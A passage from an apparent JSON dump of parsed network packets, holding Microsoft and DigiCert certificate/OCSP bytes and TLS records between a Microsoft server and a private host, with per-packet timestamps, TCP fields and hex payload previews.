061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514da82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382cdd56c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007430100073f3082073b0a0100a08207343082073006092b0601050507300101048207213082071d3081c5a2160414ce45ae5dc399c474b31f7881210e6548c1d1965a180f32303236303631333134343735335a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303631333134313330395aa011180f32303236303632313134333330395aa120301e301c06092b0601040182371504040f170d3236303631373134323330395a300d06092a864886f70d01010b050003820101007c24f75d6b49ab57adbf65dc9bda9a05dda5a31c60d3c6e038ff6c5199c088b3eb23eee8cd3ac9830d440391914ccd60ce10b55f69e0f34dcb71063b8ace672abe66ba820fc6288361dbb99055ab24b4bd7c50f26fb41e9dc18d3474724767f3a461dfb030f1e166f602c332888fa601a663672f535fa8ba06acfb11283ca3718e90024fdc7aa636258390dae1519b617219c7a95824a14f029ba4aee90fa436124eeeaada79fefcc1f297ad003f4d77d30fc16254085a69faf2b48a32f20333f36785d55a3a1362d8fd46ddf1fd59652431d8881ca9ae8a95ee125900676033744f3eac4b5266b683544fcacf9335e75a05d2f22d64fec1902ae9f1f45c1122a082053d30820539308205353082031da0030201020213430059494b100d6b7728df5dec00000059494b300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303631323135353032325a170d3236303731323135353032325a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100bb7e6bd0af4f91895db07552c1701ea2368b9f2a3956022b65e14ca2ab0c8edae05166257b5c2ebf025ec8f973c1fe86757c7ab080663aff1a4ae8e9b5d3ae7f8b3ffdd7f8557580fefc735de7f5d99bd469cde645c723e1abe456d21e67abe101d2ecacfc68ab2ecf66c20351f0c329cfcd795a9db73bf40cffd8ced2e32c135981e5145b9e3cc5ea3551ce939e1f4cbc6484939e91cc933b2c69b48b500f849850e310bd35b0a58777bf154725c1fe74a442958acb15ca3bc565f918ebdfd9c2b61e61921d795a668751b6eb2b6c562cb04ee807c62ca0443b2d9cae789cff9643143b88d8aa4150c3fee0051db349ab13ad6b04a5b5e495627658f97776910203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414ce45ae5dc399c474b31f7881210e6548c1d1965a301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c050003820201004f8590715271e017448e55f40f65c8a16c8f838558c891da43681236e10bd222fa0d81a6784d26c970867ce24d94af2eadcb367175b3\", \"payload_ascii\": \"\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00010\\u0019\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0014\\u0002\\u0004\\f\\u001e\\n\\u0000S\\u0000u\\u0000b\\u0000C\\u0000A0\\u0012\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\b0\\u0006\\u0001\\u0001\\u0002\\u0001\\u00000\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014H1Y1K_\\u0007yv0\\u0006\\u0003U\\u001d\\u001f\\u000400Ihttp://www.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crlJhttp://crl2.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl0\\u0001\\u0010\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004\\u0001\\u000200c\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0002Whttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0i\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0002]http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0-\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001!http://oneocsp.microsoft.com/ocsp0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0002\\u0001\\u0000|HqEt\\u000f?I\\u000fuPK_]5\\rl\\u000ba`\\u001885!:\\f\\u000eX8|\\u0002M{g\\u001bPO\\u001e#3'[o\\u0014K\\u0007\\u001a\\fP\\u000eO\\u0010\\\"*\\u001dK\\u0015\\u00016\\t\\u000bCON~\\\\k.I>R?q$/7lt\\u0006!Pgp$\\u0015\\u000b\\\"'\\u0003|f\\u0004U\\u0011!\\nr\\u007fe`PI#H :&\\u0017\\u0014=L<D\\u007f\\u0013\\u0014{3=\\u0010^d'=\\fLqfNdT+\\u0003g7\\nc :.B\\\"\\\"&U0\\u0015B66RsgzsnT\\u001fm'P\\u001cT)M\\u001f\\u0014d\\u007fG1ey}\\u0014\\u0019v;(\\u0000Do$W\\u0007Z\\u0000XV\\u000b\\buq\\u001bS\\\"Lk]DY<$k}_JMTv(MEte\\u0010`!y_\\u0017\\u0000Y<'wV\\u0007=\\u000fY\\u0016XHl}\\u00162\\u0016-e\\u0000\\u000e\\u0002\\u001b(1w46%\\u0000\\u00050\\u00050\\u0004q\\u0003\\u0002\\u0001\\u0002\\u0002\\u0010\\u000b\\fk,Fi\\u0017GsG0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u00000a1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1\\u00190\\u0017\\u0006\\u0003U\\u0004\\u000b\\u0013\\u0010www.digicert.com1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017DigiCert Global Root G20\\u001e\\u0017\\r250521000000Z\\u0017\\r290619235959Z0Q1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1\\\"0 \\u0006\\u0003U\\u0004\\u0003\\u0013\\u0019Microsoft TLS RSA Root G20\\u0002\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0002\\u000f\\u00000\\u0002\\n\\u0002\\u0002\\u0001\\u0000G(\\u0010qA\\u0019Wk.:`\\u0013[2\\u000b{r'k]@\\u0018\\u0006\\r\\u0012t\\u007f/\\u00173\\u0016W |!NdZKu\\u0002dMR\\u0004?\\u0019NE9^)g\\u0000J\\u00189\\t3A\\u0005\\u0003\\u0005uS!\\\\DL`W\\u0002\\u00042JQ?6/oL9\\u0004i\\\";u\\u0014>\\u0007A8~FH\\u001d\\u0019p\\u0018r~}lN\\u0019p\\u0011\\u0004\\u0013bk\\u001c1Kk3\\u001bJ_\\u000e\\u007f1v8?\\u0007Gl\\u0001\\u0014_\\u001fl\\u001a\\u0012*{\\u001f(.1\\u0016SLuf}\\u0001`e1r-D\\u0019Wn.er-~I\\u001dYg\\t\\u0018\\u0012mEx`j\\u0006$;sJZ\\u0011>ax\\u00130J8-X\\u0017\\u0013 6*\\u000b28\\u0012E|\\u001dbq\\u0012\\u0015\\u0001\\n\\t8B4i\\u0016sCCXO=:@8\\u0015\\fd\\u001acU\\tZ\\u0004>\\u0015d\\u0011\\u001b\\u000eMEe\\u0007%\\u001f[P\\u0004\\u001c] gyo r0u'5\\u0002\\u0003\\u0001\\u0000\\u0001\\u0001K0\\u0001G0\\u000f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00050\\u0003\\u0001\\u00010\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014H1Y1K_\\u0007yv0\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014N\\\"T \\u0018n\\u000f\\u0012\\u0006\\u001790\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00010\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00010v\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004j0h0$\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0018http://ocsp.digicert.com0@\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u00024http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B\\u0006\\u0003U\\u001d\\u001f\\u0004;0907531http://crl3.digicert.com/DigiCertGlobalRootG2.crl0\\u0013\\u0006\\u0003U\\u001d \\u0004\\f0\\n0\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00020\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000\\u000b+7tK6\\u00026\\u0013\\u001bDT\\u0000A\\u001aF\\u000bv4Ub5\\fZbCJ\\u001dk\\u001d\\u0019%fyn[%$y-5_B\\txe P\\u0010j:\\u0018H\\t\\u0006u\\u0016'%Z:pl\\u0018GcS\\u000e\\u00155 =\\u0013\\u0001$\\bEVwg1BW\\u001a&CWc:{K\\u0010fgg\\tL\\u0019+\\\"=}c8,V\\tRomk\\bA/>1|JaFF(Wow%{);ry\\u0011Tm5+z\\u0016\\u0000\\u0007C\\u0001\\u0000\\u0007?0\\u0007;\\n\\u0001\\u0000\\u000740\\u00070\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0001\\u0004\\u0007!0\\u0007\\u001d0\\u0016\\u0004\\u0014E]t\\u001fx!\\u000eeHZ\\u0018\\u000f20260613144753Z000L0\\t\\u0006\\u0005+\\u000e\\u0003\\u0002\\u001a\\u0005\\u0000\\u0004\\u0014\\u0015j\\tmH\\u000bxKgW\\u0004\\u0014T\\f\\u0018}\\u00034dDgu\\u001fe\\u0002\\u0013C\\u0000\\n\\u0003T\\u001f\\u000f\\u0000\\u0000\\u0000\\n\\u0003\\u0000\\u0018\\u000f20260613141309Z\\u0011\\u0018\\u000f20260621143309Z 0\\u001e0\\u001c\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\u0004\\u0004\\u000f\\u0017\\r260617142309Z0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000|$]kIWe\\u0005\\u001c`8lQ#:\\rD\\u0003L`\\u0010_iMq\\u0006;g*f\\u000f(aU$|Po\\u001e4trGga0f\\u00022\\u0001cg/S_\\u0006\\u0011(<q\\u0002Oz6%Qar\\u0019X$O\\u0002\\u000f6\\u0012Ny\\u0000?Mw\\u000fbT\\bZi2\\u00033gZ:\\u0013bFYe$1\\u001c\\u0012Y\\u0000g`3tO>KRfTO5Z\\u0005-d*\\\\\\u0011\\\"\\u0005=0\\u000590\\u000550\\u0003\\u001d\\u0003\\u0002\\u0001\\u0002\\u0002\\u0013C\\u0000YIK\\u0010\\rkw(]\\u0000\\u0000\\u0000YIK0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u00000W1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1(0&\\u0006\\u0003U\\u0004\\u0003\\u0013\\u001fMicrosoft TLS G2 RSA CA OCSP 040\\u001e\\u0017\\r260612155022Z\\u0017\\r260712155022Z0n1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u000b0\\t\\u0006\\u0003U\\u0004\\b\\u0013\\u0002WA1\\u00100\\u000e\\u0006\\u0003U\\u0004\\u0007\\u0013\\u0007Redmond1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017TLS-G2-RSA-04 OCSP Cert0\\u0001\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0001\\u000f\\u00000\\u0001\\n\\u0002\\u0001\\u0001\\u0000~kO]uRp\\u001e6*9V\\u0002+eL\\fQf%{\\\\.\\u0002^su|zf:\\u001aJ\\u007f?Uus]iE#V\\u001eg\\u0001h.f\\u0003Q)yZ;\\f,\\u0013Y\\u0014[<5Q\\u001fLd;,iP\\u000fP\\u00105w\\u0015G%tB\\u0015;e\\u0018\\u001ea\\u001dyZfQ+lV,N\\u0007,D;-xC\\u0014;AP\\u0005\\u001dI\\u0013k\\u0004bvXwv\\u0002\\u0003\\u0001\\u0000\\u000100\\f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00020\\u00000\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\t0\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014E]t\\u001fx!\\u000eeHZ0\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014T\\f\\u0018}\\u00034dDgu\\u001fe0\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00070<\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\u0007\\u0004/0-\\u0006%+\\u0006\\u0001\\u0004\\u00017\\u0015\\b\\u001bF.\\f\\u001d]\\\"\\u001f\\u0002\\u0001d\\u0002\\u0001\\u00180\\u001b\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\n\\u0004\\u000e0\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\t0\\u000f\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0005\\u0004\\u0002\\u0005\\u00000\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0002\\u0001\\u0000OqRq\\u0017DU\\u000felXCh\\u00126\\u000b\\\"\\rxM&p|M.6qu\"}, {\"packet_number\": 95, \"timestamp\": 1781446613.460173, \"timestamp_iso\": \"2026-06-14T19:46:53.460173\", \"timestamp_human\": \"2026-06-14 19:46:53.460\", \"size\": 881, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24161, \"ip_len\": 867, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259386900, \"tcp_ack\": 4093516367, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 827, \"payload_preview\": \"a40c881023930c5dab50ddbb456d7a96001bd8f398601fd7ca7c9c7005467dccc46d5ffccc7502b8b9ff6b78a65bc1740110a2eddfeef82a030398f48f96c185b6c161a32772a4d61f04e33fe5d99139e5b543464ba3997bb2cb93451e1088883c765cf3b4c832700e4e93d4f52940ec5837b044284591e6365ec5a6a5ae4787469be100bcadcfd46d19b5b304d3745559f2b32e2ce50e62816b5dd1853839aeb55700982c085c5cb5815f216d8bfdb12218184023e01df95138f59d114926da55cae2d27e2fdc52dae977380e17c41376a2e6ac000d57befff2be520d0a9b3733d48e03818d7fe0a51db7a7807275e9220400706d582796b362f58ff2236bd1bffbd280446ba7b2e8a325504f84e492a2d08d9e02174306920bd837d171c2a7df30e53945b62b408f32cc11ddab185ce3a067e81158041ad8f56a44b87a9be51027d945bb720974a936e152a45a606d1c2f198112639d8b8069d83cf9f54740fb88841af907463dccf9be718eb59698af2d8b5a6d86f096aecf7c1f8cbf5a1f626127e8ea0cff40881cbb752edc1ae4618a9526ad7d83e1c7fc75a843d6305d1de5e620fc174beea83cdc5f618e9b52b67ca5803940afd057f5de32657daed6956663fc5873be301e580c0001690300186104f65a8c4b3709c15f7995ebdf797e2cd2955beadd4d4e989f7e959e74239db135db781641e23e43dda842ef615729192f92ad3fca1f35f3b016ea9e50a01cd379757297bf6aef4b949d531bf453bc60d415ec990f145cae6664dd60e5db3d778b080401006e106bd8bfdff0c0660d2a984cd86771abeb624ad4ffc70bc3e45f22e0a21ba4acb90c176fcb2f98c8f7c69be1e7bcf079ef5489e02b95d61de75cb37f865915b6cd6dd139326b95c20cc2927894f716b463fe0877623231ecb4cca8cb376c39945d85685ef33ad52ed9b9f135e11664f4efbd06a15d1737773cb121944b06050d9feb7a29025da6af2ec581631f951fcf42cd2df798a2cc4713ec76f2e242920d064da913f1cef3708ff533ce9a5dec575754e93a0b0aea8c59f09b9186313dfed8576271f9a5a0d82ddb6cf0d3309d10a9c21baaf80e41675390e05c8cb836223448659fa361d2f6deae975e77878c56abf7d6f29904f46e35c2012f6635d80e000000\", \"payload_ascii\": \"\\f\\u0010#\\f]PEmz\\u0000\\u001b`\\u001f|p\\u0005F}m_u\\u0002kx[t\\u0001\\u0010*\\u0003\\u0003a'r\\u001f\\u0004?9CFK{E\\u001e\\u0010<v\\\\2p\\u000eN)@X7D(E6^GF\\u0000m\\u0019\\u0004tUY.,\\u000ebk]89W\\u0000,\\b\\\\\\\\_!m\\\"\\u0018\\u0018@#\\u001dQ8\\u0011I&U~/Rw8\\u000e\\u0017\\u0013v\\u0000\\rWR\\r\\n73\\u0003\\u007f\\u001dru\\\"\\u0004\\u0000pmX'b#kDk%PO\\u0002\\u0017C\\u0006\\u000b7q09E+@2\\u0011\\u0018\\\\g\\u0011X\\u0004\\u001ajDz\\u0010'Er\\tt6RZ`m\\u001c/\\u0019\\u0012ci<G@\\u001a\\u0007F=q-Zm|\\u001fZ\\u001fba'\\f@\\u001cu.\\u001aa&}uC0]\\u001d \\u0017K<_aR|9@W2e}fcXs0\\u001eX\\f\\u0000\\u0001i\\u0003\\u0000\\u0018a\\u0004ZK7\\t_yy~,[MN~t#5x\\u0016A>CBaW)\\u0019/?\\u001f5\\u0016P\\u001cyurjKS\\u001bS`\\u0015\\u000f\\u0014\\\\fd`=w\\b\\u0004\\u0001\\u0000n\\u0010kf\\r*LgqbJ\\u000b_\\\"\\u001b\\f\\u0017o/yT+\\u001d\\\\\\u007fY\\u0015m92k\\fx\\u0016c\\bwb217l9]h^:.5\\u0016d\\u0006]\\u00177w<!K\\u0006\\u0005\\rz)\\u0002].c\\u001f\\u001fB-G\\u0013vB\\r\\u0006M\\u0013p3]WWT:\\u000b\\nY1=Wbq-l0\\u0010\\u001b\\u000eAgS\\\\6\\\"4Hea^wV\\u0004n5\\u0001/f5\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 98, \"timestamp\": 1781446613.46877, \"timestamp_iso\": \"2026-06-14T19:46:53.468770\", \"timestamp_human\": \"2026-06-14 19:46:53.468\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24162, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259387727, \"tcp_ack\": 4093516525, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 99, \"timestamp\": 1781446613.847091, \"timestamp_iso\": \"2026-06-14T19:46:53.847091\", \"timestamp_human\": \"2026-06-14 19:46:53.847\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24163, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259387727, \"tcp_ack\": 4093516525, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 32, \"payload_preview\": \"3b5d3f1c0f71f52895120fdc360a3a665c8a4e819de825832f1f011a0b19af2c\", \"payload_ascii\": \";]?\\u001c\\u000fq(\\u0012\\u000f6\\n:f\\\\N%/\\u001f\\u0001\\u001a\\u000b\\u0019,\"}, {\"packet_number\": 102, \"timestamp\": 1781446613.849067, \"timestamp_iso\": \"2026-06-14T19:46:53.849067\", \"timestamp_human\": \"2026-06-14 19:46:53.849\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24164, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259388154, \"tcp_ack\": 4093516612, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 104, \"timestamp\": 1781446613.849148, \"timestamp_iso\": \"2026-06-14T19:46:53.849148\", \"timestamp_human\": \"2026-06-14 19:46:53.849\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24165, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259388154, \"tcp_ack\": 4093516650, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 106, \"timestamp\": 1781446613.849176, \"timestamp_iso\": \"2026-06-14T19:46:53.849176\", \"timestamp_human\": \"2026-06-14 19:46:53.849\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24166, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259388154, \"tcp_ack\": 4093516766, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 107, \"timestamp\": 1781446614.193839, \"timestamp_iso\": \"2026-06-14T19:46:54.193839\", \"timestamp_human\": \"2026-06-14 19:46:54.193\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24167, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259388154, \"tcp_ack\": 4093516766, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 109, \"timestamp\": 1781446614.250774, \"timestamp_iso\": \"2026-06-14T19:46:54.250774\", \"timestamp_human\": \"2026-06-14 19:46:54.250\", \"size\": 1153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24168, \"ip_len\": 1139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259388192, \"tcp_ack\": 4093516766, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 112, \"timestamp\": 1781446614.251989, \"timestamp_iso\": \"2026-06-14T19:46:54.251989\", \"timestamp_human\": \"2026-06-14 19:46:54.251\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24169, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259389291, \"tcp_ack\": 4093516830, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 113, \"timestamp\": 1781446614.604115, \"timestamp_iso\": \"2026-06-14T19:46:54.604115\", \"timestamp_human\": \"2026-06-14 19:46:54.604\", \"size\": 718, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": 